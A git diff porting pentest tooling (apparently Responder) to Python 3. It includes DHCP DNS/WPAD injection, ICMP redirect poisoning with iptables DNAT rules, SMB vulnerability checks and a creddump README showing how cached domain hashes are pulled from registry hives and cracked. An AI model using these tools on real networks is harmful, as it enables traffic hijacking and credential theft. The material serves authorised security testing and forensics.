print "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." print("Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
if __name__ == "__main__": if __name__ == "__main__":
try: try:
print "Listening for BROWSER datagrams..." print("Listening for BROWSER datagrams...")
thread.start_new(serve_thread_udp_broadcast,('', 138, BrowserListener)) _thread.start_new(serve_thread_udp_broadcast,('', 138, BrowserListener))
while True: while True:
time.sleep(1) time.sleep(1)

View file

@ -17,7 +17,7 @@
import sys import sys
import struct import struct
import optparse import optparse
import ConfigParser import configparser
import os import os
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
@ -42,37 +42,37 @@ def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
if options.Interface is None: if options.Interface is None:
print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface." print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.")
exit(-1) exit(-1)
elif options.RouterIP is None: elif options.RouterIP is None:
print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP." print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.")
exit(-1) exit(-1)
elif options.DNSIP is None: elif options.DNSIP is None:
print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours." print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.")
exit(-1) exit(-1)
elif options.DNSIP2 is None: elif options.DNSIP2 is None:
print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours." print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
exit(-1) exit(-1)
print '#############################################################################' print('#############################################################################')
print '## DHCP INFORM TAKEOVER 0.2 ##' print('## DHCP INFORM TAKEOVER 0.2 ##')
print '## ##' print('## ##')
print '## By default, this script will only inject a new DNS/WPAD ##' print('## By default, this script will only inject a new DNS/WPAD ##')
print '## server to a Windows <= XP/2003 machine. ##' print('## server to a Windows <= XP/2003 machine. ##')
print '## ##' print('## ##')
print '## To inject a DNS server/domain/route on a Windows >= Vista and ##' print('## To inject a DNS server/domain/route on a Windows >= Vista and ##')
print '## any linux box, use -R (can be noisy) ##' print('## any linux box, use -R (can be noisy) ##')
print '## ##' print('## ##')
print '## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##' print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##')
print '#############################################################################' print('#############################################################################')
print '' print('')
print color('[*]', 2, 1), 'Listening for events...' print(color('[*]', 2, 1), 'Listening for events...')
config = ConfigParser.ConfigParser() config = configparser.ConfigParser()
config.read(os.path.join(BASEDIR,'Responder.conf')) config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
Interface = options.Interface Interface = options.Interface
Responder_IP = FindLocalIP(Interface, None) Responder_IP = FindLocalIP(Interface, None)
ROUTERIP = options.RouterIP ROUTERIP = options.RouterIP
@ -311,8 +311,7 @@ if __name__ == "__main__":
if SrcPort == 67 or DstPort == 67: if SrcPort == 67 or DstPort == 67:
ret = ParseDHCPCode(data[0][42:]) ret = ParseDHCPCode(data[0][42:])
if ret: if ret:
print text("[DHCP] %s" % ret) print(text("[DHCP] %s" % ret))
except KeyboardInterrupt: except KeyboardInterrupt:
sys.exit("\r%s Exiting..." % color('[*]', 2, 1)) sys.exit("\r%s Exiting..." % color('[*]', 2, 1))

View file

@ -34,18 +34,18 @@ def GetBootTime(data):
def IsDCVuln(t, host): def IsDCVuln(t, host):
if t[0] == 0: if t[0] == 0:
print "Server", host[0], "did not disclose its boot time" print("Server", host[0], "did not disclose its boot time")
return return
Date = datetime.datetime(2014, 11, 17, 0, 30) Date = datetime.datetime(2014, 11, 17, 0, 30)
if t[0] < Date: if t[0] < Date:
print "System is up since:", t[1] print("System is up since:", t[1])
print "This system may be vulnerable to MS14-068" print("This system may be vulnerable to MS14-068")
Date = datetime.datetime(2017, 03, 14, 0, 30) Date = datetime.datetime(2017, 0o3, 14, 0, 30)
if t[0] < Date: if t[0] < Date:
print "System is up since:", t[1] print("System is up since:", t[1])
print "This system may be vulnerable to MS17-010" print("This system may be vulnerable to MS17-010")
print "Server", host[0], "is up since:", t[1] print("Server", host[0], "is up since:", t[1])
def run(host): def run(host):
@ -64,7 +64,7 @@ def run(host):
data = s.recv(1024) data = s.recv(1024)
if data[4:5] == "\xff": if data[4:5] == "\xff":
print "Server", host[0], "doesn't support SMBv2" print("Server", host[0], "doesn't support SMBv2")
if data[4:5] == "\xfe": if data[4:5] == "\xfe":
IsDCVuln(GetBootTime(data[116:124]), host) IsDCVuln(GetBootTime(data[116:124]), host)

View file

@ -16,7 +16,7 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from socket import * from socket import *
print 'MSSQL Server Finder 0.1' print('MSSQL Server Finder 0.2')
s = socket(AF_INET,SOCK_DGRAM) s = socket(AF_INET,SOCK_DGRAM)
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
@ -29,12 +29,10 @@ try:
if not data: if not data:
break break
else: else:
print "===============================================================" print("===============================================================")
print "Host details:",address[0] print(("Host details: %s"%(address[0])))
print data[2:] print((data[2:]))
print "===============================================================" print("===============================================================")
print "" print("")
except: except:
pass pass

View file

@ -40,23 +40,23 @@ parser.add_option('-a', '--alternate',action="store", help="The alternate gatewa
options, args = parser.parse_args() options, args = parser.parse_args()
if options.OURIP is None: if options.OURIP is None:
print "-i mandatory option is missing.\n" print("-i mandatory option is missing.\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
elif options.OriginalGwAddr is None: elif options.OriginalGwAddr is None:
print "-g mandatory option is missing, please provide the original gateway address.\n" print("-g mandatory option is missing, please provide the original gateway address.\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
elif options.VictimIP is None: elif options.VictimIP is None:
print "-t mandatory option is missing, please provide a target.\n" print("-t mandatory option is missing, please provide a target.\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
elif options.Interface is None: elif options.Interface is None:
print "-I mandatory option is missing, please provide your network interface.\n" print("-I mandatory option is missing, please provide your network interface.\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
elif options.ToThisHost is None: elif options.ToThisHost is None:
print "-r mandatory option is missing, please provide a destination target.\n" print("-r mandatory option is missing, please provide a destination target.\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
@ -187,17 +187,17 @@ def ReceiveArpFrame(DstAddr):
data = s.recv(1024) data = s.recv(1024)
DstMac = data[22:28] DstMac = data[22:28]
DestMac = DstMac.encode('hex') DestMac = DstMac.encode('hex')
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) PrintMac = ":".join([DestMac[x:x+2] for x in range(0, len(DestMac), 2)])
return PrintMac,DstMac return PrintMac,DstMac
except: except:
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) print("[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr))
exit(1) exit(1)
def IcmpRedirectSock(DestinationIP): def IcmpRedirectSock(DestinationIP):
PrintMac,DestMac = ReceiveArpFrame(VictimIP) PrintMac,DestMac = ReceiveArpFrame(VictimIP)
print '[ARP]Target Mac address is :',PrintMac print('[ARP]Target Mac address is :',PrintMac)
PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr) PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
print '[ARP]Router Mac address is :',PrintMac print('[ARP]Router Mac address is :',PrintMac)
s = socket(AF_PACKET, SOCK_RAW) s = socket(AF_PACKET, SOCK_RAW)
Protocol = 0x0800 Protocol = 0x0800
s.bind((Interface, Protocol)) s.bind((Interface, Protocol))
@ -210,7 +210,7 @@ def IcmpRedirectSock(DestinationIP):
IPPack.calculate() IPPack.calculate()
final = str(Eth)+str(IPPack) final = str(Eth)+str(IPPack)
s.send(final) s.send(final)
print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP) print('\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP))
def FindWhatToDo(ToThisHost2): def FindWhatToDo(ToThisHost2):
if ToThisHost2 != None: if ToThisHost2 != None:
@ -227,11 +227,11 @@ def RunThisInLoop(host, host2, ip):
ouripadd = pipes.quote(ip) ouripadd = pipes.quote(ip)
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers." print("[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers.")
while True: while True:
IcmpRedirectSock(DestinationIP=dns1) IcmpRedirectSock(DestinationIP=dns1)
IcmpRedirectSock(DestinationIP=dns2) IcmpRedirectSock(DestinationIP=dns2)
print "[+]Repoisoning the target in 8 minutes..." print("[+]Repoisoning the target in 8 minutes...")
sleep(480) sleep(480)
FindWhatToDo(ToThisHost2) FindWhatToDo(ToThisHost2)

120
tools/MultiRelay/creddump/.gitignore vendored Normal file
View file

@ -0,0 +1,120 @@
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# PyCharm
.idea
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
.pytest_cache/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
.python-version
# celery beat schedule file
celerybeat-schedule
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
.pylintrc

View file

@ -0,0 +1,182 @@
#Information
This repo is for my modifications to the original 'creddump' program available
at:
https://code.google.com/p/creddump/
I did not write the original program.
I have combined many patches and fixes I have seen from different forums and
user suggestions, as well as modified the usage to make it a little more clear.
I followed patches and fixes from the following links:
* https://code.google.com/p/creddump/issues/detail?id=4
* https://code.google.com/p/volatility/issues/detail?id=92
Enjoy!
Ronnie Flathers (@ropnop)
###Usage
Mount a Windows 7/Vista partition:
```
# mkdir /mnt/win
# ntfs-3g /dev/sda1 /mnt/win
```
Run cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds:
```
# ./cachedump.py
usage: ./cachedump.py <system hive> <security hive> <Vista/7>
Example (Windows Vista/7):
./cachedump.py /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true
Example (Windows XP):
./cachedump.py /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false
# ./cachedump.py /mnt/win/Windows/System32/config/SYSTEM /mnt/win/Windows/System32/config/SECURITY true |tee hashes
nharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local
god:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local
```
If you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the 'mscash2' format:
```
# john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt hashes
Loaded 2 password hashes with 2 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 8x])
g0d (god)
Welcome1! (nharpsis)
```
We now have the passwords for two domain users. Note: these passwords are really simple and I knew they were in the wordlist I used. Normally if you want to actually bruteforce the passwords, I wouldn't recommend John. Pull the hashes and use a GPU powered cracking box with oclHashcat.
####Below is the original README file
OVERVIEW
creddump is a python tool to extract various credentials and secrets from
Windows registry hives. It currently extracts:
* LM and NT hashes (SYSKEY protected)
* Cached domain passwords
* LSA secrets
It essentially performs all the functions that bkhive/samdump2,
cachedump, and lsadump2 do, but in a platform-independent way.
It is also the first tool that does all of these things in an offline
way (actually, Cain & Abel does, but is not open source and is only
available on Windows).
REQUIREMENTS
alldump has only been tested on python 2.5. It should work on 2.4 as
well, but will likely need modification before it will work on 2.3 or
below.
python-crypto is required for its MD5/DES/RC4 support. To obtain it,
see: http://www.amk.ca/python/code/crypto
For lsadump: system and SECURITY hives
For cachedump: system and SECURITY hives
For pwdump: system and SAM hives
USAGE
Dump cached domain hashes:
usage: ./cachedump.py <system hive> <security hive>
Dump LSA secrets:
usage: ./lsadump.py <system hive> <security hive>
Dump local password hashes:
usage: ./pwdump.py <system hive> <SAM hive>
FEATURES
* Platform independent operation. The only inputs are the hive files
from the system--we don't rely on any Windows functionality at all.
* Open-source and (hopefully!) readble implementations of Windows
obfuscation algorithms used to protect LSA secrets, cached domain
passwords, and
* A reasonably forgiving registry file parser in pure Python. Look
through framework/types.py and framework/win32/rawreg.py to see how it
works.
* The first complete open-source implementation of advapi32's
SystemFunction005. The version in the Wine source code does not
appear to allow for keys longer than 7 bytes, while the Windows
version (and this version) does. See decrypt_secret() in
framework/win32/lsasecrets.py
AUTHOR
creddump is written by Brendan Dolan-Gavitt (bdolangavitt@wesleyan.edu).
For more information on Syskey, LSA secrets, cached domain credentials,
and lots of information on volatile memory forensics and reverse
engineering, check out:
http://moyix.blogspot.com/
CREDITS
* AAron Walters. Much of the data type parsing code is taken from
Volatility, an excellent memory analysis framework written in Python.
He's also a really nice guy, and has helped me out a lot in my
research.
https://www.volatilesystems.com/default/volatility
* Massimiliano Montoro (mao), for reversing the mechanism Windows uses
to derive the LSA key so that it can be computed directly from the
hive files, as decribed in this post:
http://oxid.netsons.org/phpBB2/viewtopic.php?t=149
http://www.oxid.it/
* Jeremy Allison, for the details of the obfuscation applied to password
hashes in the SAM, as implemented in the original pwdump.
http://us4.samba.org/samba/ftp/pwdump/
* Nicola Cuomo, for his excellent description of the syskey mechanism
and how it is used to encrypt the SAM in Windows 2000 and above.
http://www.studenti.unina.it/~ncuomo/syskey/
* Eyas[at]xfocus.org, for x_dialupass2.cpp, which demonstrates how to
read LSA secrets directly from the registry, given the LSA key.
http://www.xfocus.net/articles/200411/749.html
[Note: the above is in Chinese, but quite comprehensible if you use
Google Translate and can read C ;)]
* Nicholas Ruff, for his perl implementation of des_set_odd_parity,
which he apparently took from SSLEAY:
http://seclists.org/pen-test/2005/Jan/0180.html
* Arnaud Pilon, for the details of how to retrieve cached domain, as
implemented in cachedump.
http://www.securiteam.com/tools/5JP0I2KFPA.html
* S<>bastien Ke, for his cute hexdump recipe:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
LICENSE
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

23
tools/MultiRelay/creddump/cachedump.py Normal file → Executable file
View file

@ -15,19 +15,34 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>. # along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name,missing-docstring
""" """
@author: Brendan Dolan-Gavitt @author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later @license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu @contact: bdolangavitt@wesleyan.edu
""" """
import sys import sys
from framework.win32.domcachedump import dump_file_hashes from framework.win32.domcachedump import dump_file_hashes
if len(sys.argv) < 3:
print "usage: %s bootkey <security hive>" % sys.argv[0] def showUsage():
print("usage: %s <system hive> <security hive> <Vista/7>" % sys.argv[0])
print("\nExample (Windows Vista/7):")
print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0])
print("\nExample (Windows XP):")
print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0])
if len(sys.argv) < 4:
showUsage()
sys.exit(1) sys.exit(1)
dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2]) if sys.argv[3].lower() not in ["true", "false"]:
showUsage()
sys.exit(1)
vista = sys.argv[3].lower() == "true"
dump_file_hashes(sys.argv[1], sys.argv[2], sys.argv[3])

View file

@ -25,13 +25,16 @@
@license: GNU General Public License 2.0 or later @license: GNU General Public License 2.0 or later
@contact: awalters@volatilesystems.com @contact: awalters@volatilesystems.com
@organization: Volatile Systems @organization: Volatile Systems
Alias for all address spaces
""" """
""" Alias for all address spaces """ # pylint: disable=missing-docstring
import os import os
import struct import struct
class FileAddressSpace: class FileAddressSpace:
def __init__(self, fname, mode='rb', fast=False): def __init__(self, fname, mode='rb', fast=False):
self.fname = fname self.fname = fname
@ -39,7 +42,7 @@ class FileAddressSpace:
self.fhandle = open(fname, mode) self.fhandle = open(fname, mode)
self.fsize = os.path.getsize(fname) self.fsize = os.path.getsize(fname)
if fast == True: if fast:
self.fast_fhandle = open(fname, mode) self.fast_fhandle = open(fname, mode)
def fread(self, len): def fread(self, len):
@ -63,13 +66,15 @@ class FileAddressSpace:
def is_valid_address(self, addr): def is_valid_address(self, addr):
return addr < self.fsize - 1 return addr < self.fsize - 1
def close(): def close(self):
self.fhandle.close() self.fhandle.close()
# Code below written by Brendan Dolan-Gavitt # Code below written by Brendan Dolan-Gavitt
BLOCK_SIZE = 0x1000 BLOCK_SIZE = 0x1000
class HiveFileAddressSpace: class HiveFileAddressSpace:
def __init__(self, fname): def __init__(self, fname):
self.fname = fname self.fname = fname
@ -80,16 +85,16 @@ class HiveFileAddressSpace:
def read(self, vaddr, length, zero=False): def read(self, vaddr, length, zero=False):
first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE
full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1 full_blocks = ((length + (vaddr % BLOCK_SIZE)) // BLOCK_SIZE) - 1
left_over = (length + vaddr) % BLOCK_SIZE left_over = (length + vaddr) % BLOCK_SIZE
paddr = self.vtop(vaddr) paddr = self.vtop(vaddr)
if paddr == None and zero: if paddr is None and zero:
if length < first_block: if length < first_block:
return "\0" * length return "\0" * length
else: else:
stuff_read = "\0" * first_block stuff_read = "\0" * first_block
elif paddr == None: elif paddr is None:
return None return None
else: else:
if length < first_block: if length < first_block:
@ -104,11 +109,11 @@ class HiveFileAddressSpace:
stuff_read = "\0" * first_block stuff_read = "\0" * first_block
new_vaddr = vaddr + first_block new_vaddr = vaddr + first_block
for i in range(0,full_blocks): for __ in range(0, full_blocks):
paddr = self.vtop(new_vaddr) paddr = self.vtop(new_vaddr)
if paddr == None and zero: if paddr is None and zero:
stuff_read = stuff_read + "\0" * BLOCK_SIZE stuff_read = stuff_read + "\0" * BLOCK_SIZE
elif paddr == None: elif paddr is None:
return None return None
else: else:
new_stuff = self.base.read(paddr, BLOCK_SIZE) new_stuff = self.base.read(paddr, BLOCK_SIZE)
@ -122,9 +127,9 @@ class HiveFileAddressSpace:
if left_over > 0: if left_over > 0:
paddr = self.vtop(new_vaddr) paddr = self.vtop(new_vaddr)
if paddr == None and zero: if paddr is None and zero:
stuff_read = stuff_read + "\0" * left_over stuff_read = stuff_read + "\0" * left_over
elif paddr == None: elif paddr is None:
return None return None
else: else:
stuff_read = stuff_read + self.base.read(paddr, left_over) stuff_read = stuff_read + self.base.read(paddr, left_over)
@ -137,5 +142,6 @@ class HiveFileAddressSpace:
def is_valid_address(self, vaddr): def is_valid_address(self, vaddr):
paddr = self.vtop(vaddr) paddr = self.vtop(vaddr)
if not paddr: return False if not paddr:
return False
return self.base.is_valid_address(paddr) return self.base.is_valid_address(paddr)

View file

@ -19,11 +19,15 @@
@contact: bdolangavitt@wesleyan.edu @contact: bdolangavitt@wesleyan.edu
""" """
from framework.object import * # pylint: disable=missing-docstring,invalid-name,no-else-return,arguments-differ,unused-argument
from framework.types import regtypes as types
from operator import itemgetter from operator import itemgetter
from struct import unpack from struct import unpack
from framework.object import get_obj_offset, builtin_types, read_value, read_unicode_string, read_string, read_obj
from framework.types import regtypes as types
def get_ptr_type(structure, member): def get_ptr_type(structure, member):
"""Return the type a pointer points to. """Return the type a pointer points to.
@ -43,6 +47,7 @@ def get_ptr_type(structure, member):
else: else:
return types[structure][1][member[0]][1][1] return types[structure][1][member[0]][1][1]
class Obj(object): class Obj(object):
"""Base class for all objects. """Base class for all objects.
@ -50,7 +55,7 @@ class Obj(object):
for special handling. for special handling.
""" """
def __new__(typ, name, address, space): def __new__(cls, name, address, space):
if name in globals(): if name in globals():
# This is a bit of "magic" # This is a bit of "magic"
# Could be replaced with a dict mapping type names to types # Could be replaced with a dict mapping type names to types
@ -58,7 +63,7 @@ class Obj(object):
elif name in builtin_types: elif name in builtin_types:
return Primitive(name, address, space) return Primitive(name, address, space)
else: else:
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def __init__(self, name, address, space): def __init__(self, name, address, space):
@ -104,8 +109,8 @@ class Obj(object):
else: else:
return Obj(tp, self.address + off, self.space) return Obj(tp, self.address + off, self.space)
def __div__(self, other): def __truediv__(self, other):
if isinstance(other,tuple) or isinstance(other,list): if isinstance(other, (tuple, list)):
return Pointer(other[0], self.address, self.space, other[1]) return Pointer(other[0], self.address, self.space, other[1])
elif isinstance(other, str): elif isinstance(other, str):
return Obj(other, self.address, self.space) return Obj(other, self.address, self.space)
@ -116,9 +121,9 @@ class Obj(object):
"""Return a list of this object's members, sorted by offset.""" """Return a list of this object's members, sorted by offset."""
# Could also just return the list # Could also just return the list
membs = [ (k, v[0]) for k,v in types[self.name][1].items()] membs = [(k, v[0]) for k, v in list(types[self.name][1].items())]
membs.sort(key=itemgetter(1)) membs.sort(key=itemgetter(1))
return map(itemgetter(0),membs) + self.extra_members return list(map(itemgetter(0), membs)) + self.extra_members
def values(self): def values(self):
"""Return a dictionary of this object's members and their values""" """Return a dictionary of this object's members and their values"""
@ -168,6 +173,7 @@ class Obj(object):
def get_offset(self, member): def get_offset(self, member):
return get_obj_offset(types, [self.name] + member) return get_obj_offset(types, [self.name] + member)
class Primitive(Obj): class Primitive(Obj):
"""Class to represent a primitive data type. """Class to represent a primitive data type.
@ -175,16 +181,18 @@ class Primitive(Obj):
value : the python primitive value of this type value : the python primitive value of this type
""" """
def __new__(typ, *args, **kwargs): def __new__(cls, *args, **kwargs):
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def __init__(self, name, address, space): def __init__(self, name, address, space):
super(Primitive, self).__init__(name, address, space) super(Primitive, self).__init__(name, address, space)
length, fmt = builtin_types[name] length, fmt = builtin_types[name]
data = space.read(address, length) data = space.read(address, length)
if not data: self.value = None if not data:
else: self.value = unpack(fmt,data)[0] self.value = None
else:
self.value = unpack(fmt, data)[0]
def __repr__(self): def __repr__(self):
return repr(self.value) return repr(self.value)
@ -192,6 +200,7 @@ class Primitive(Obj):
def members(self): def members(self):
return [] return []
class Pointer(Obj): class Pointer(Obj):
"""Class to represent pointers. """Class to represent pointers.
@ -201,8 +210,8 @@ class Pointer(Obj):
the attribute will be looked up in the referenced the attribute will be looked up in the referenced
object.""" object."""
def __new__(typ, *args, **kwargs): def __new__(cls, *args, **kwargs):
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def __init__(self, name, address, space, ptr_type): def __init__(self, name, address, space, ptr_type):
@ -229,6 +238,7 @@ class Pointer(Obj):
def members(self): def members(self):
return self.value.members() return self.value.members()
class _UNICODE_STRING(Obj): class _UNICODE_STRING(Obj):
"""Class representing a _UNICODE_STRING """Class representing a _UNICODE_STRING
@ -238,8 +248,8 @@ class _UNICODE_STRING(Obj):
* The __str__ method returns the value of the Buffer. * The __str__ method returns the value of the Buffer.
""" """
def __new__(typ, *args, **kwargs): def __new__(cls, *args, **kwargs):
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def __str__(self): def __str__(self):
@ -248,31 +258,37 @@ class _UNICODE_STRING(Obj):
# Custom Attributes # Custom Attributes
def getBuffer(self): def getBuffer(self):
return read_unicode_string(self.space, types, [], self.address) return read_unicode_string(self.space, types, [], self.address)
Buffer = property(fget=getBuffer) Buffer = property(fget=getBuffer)
class _CM_KEY_NODE(Obj): class _CM_KEY_NODE(Obj):
def __new__(typ, *args, **kwargs): def __new__(cls, *args, **kwargs):
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def getName(self): def getName(self):
return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'],
self.address, self.NameLength.value) self.address, self.NameLength.value)
Name = property(fget=getName) Name = property(fget=getName)
class _CM_KEY_VALUE(Obj): class _CM_KEY_VALUE(Obj):
def __new__(typ, *args, **kwargs): def __new__(cls, *args, **kwargs):
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def getName(self): def getName(self):
return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'],
self.address, self.NameLength.value) self.address, self.NameLength.value)
Name = property(fget=getName) Name = property(fget=getName)
class _CHILD_LIST(Obj): class _CHILD_LIST(Obj):
def __new__(typ, *args, **kwargs): def __new__(cls, *args, **kwargs):
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def getList(self): def getList(self):
@ -283,19 +299,22 @@ class _CHILD_LIST(Obj):
lst.append(Pointer("pointer", list_address + (i * 4), self.space, lst.append(Pointer("pointer", list_address + (i * 4), self.space,
["_CM_KEY_VALUE"])) ["_CM_KEY_VALUE"]))
return lst return lst
List = property(fget=getList) List = property(fget=getList)
class _CM_KEY_INDEX(Obj): class _CM_KEY_INDEX(Obj):
def __new__(typ, *args, **kwargs): def __new__(cls, *args, **kwargs):
obj = object.__new__(typ) obj = object.__new__(cls)
return obj return obj
def getList(self): def getList(self):
lst = [] lst = []
for i in range(self.Count.value): for i in range(self.Count.value):
# we are ignoring the hash value here # we are ignoring the hash value here
off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2]) off, __ = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i * 2])
lst.append(Pointer("pointer", self.address + off, self.space, lst.append(Pointer("pointer", self.address + off, self.space,
["_CM_KEY_NODE"])) ["_CM_KEY_NODE"]))
return lst return lst
List = property(fget=getList) List = property(fget=getList)

View file

@ -16,6 +16,8 @@
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# #
# pylint: disable=invalid-name,missing-docstring
""" """
@author: AAron Walters and Nick Petroni @author: AAron Walters and Nick Petroni
@license: GNU General Public License 2.0 or later @license: GNU General Public License 2.0 or later
@ -25,40 +27,42 @@
import struct import struct
builtin_types = { \ builtin_types = {
'int' : (4, 'i'), \ 'int': (4, 'i'),
'long': (4, 'i'), \ 'long': (4, 'i'),
'unsigned long' : (4, 'I'), \ 'unsigned long': (4, 'I'),
'unsigned int' : (4, 'I'), \ 'unsigned int': (4, 'I'),
'address' : (4, 'I'), \ 'address': (4, 'I'),
'char' : (1, 'c'), \ 'char': (1, 'c'),
'unsigned char' : (1, 'B'), \ 'unsigned char': (1, 'B'),
'unsigned short' : (2, 'H'), \ 'unsigned short': (2, 'H'),
'short' : (2, 'h'), \ 'short': (2, 'h'),
'long long' : (8, 'q'), \ 'long long': (8, 'q'),
'unsigned long long' : (8, 'Q'), \ 'unsigned long long': (8, 'Q'),
'pointer' : (4, 'I'),\ 'pointer': (4, 'I'),
} }
def obj_size(types, objname): def obj_size(types, objname):
if not types.has_key(objname): if objname not in types:
raise Exception('Invalid type %s not in types' % (objname)) raise Exception('Invalid type %s not in types' % (objname))
return types[objname][0] return types[objname][0]
def builtin_size(builtin): def builtin_size(builtin):
if not builtin_types.has_key(builtin): if builtin not in builtin_types:
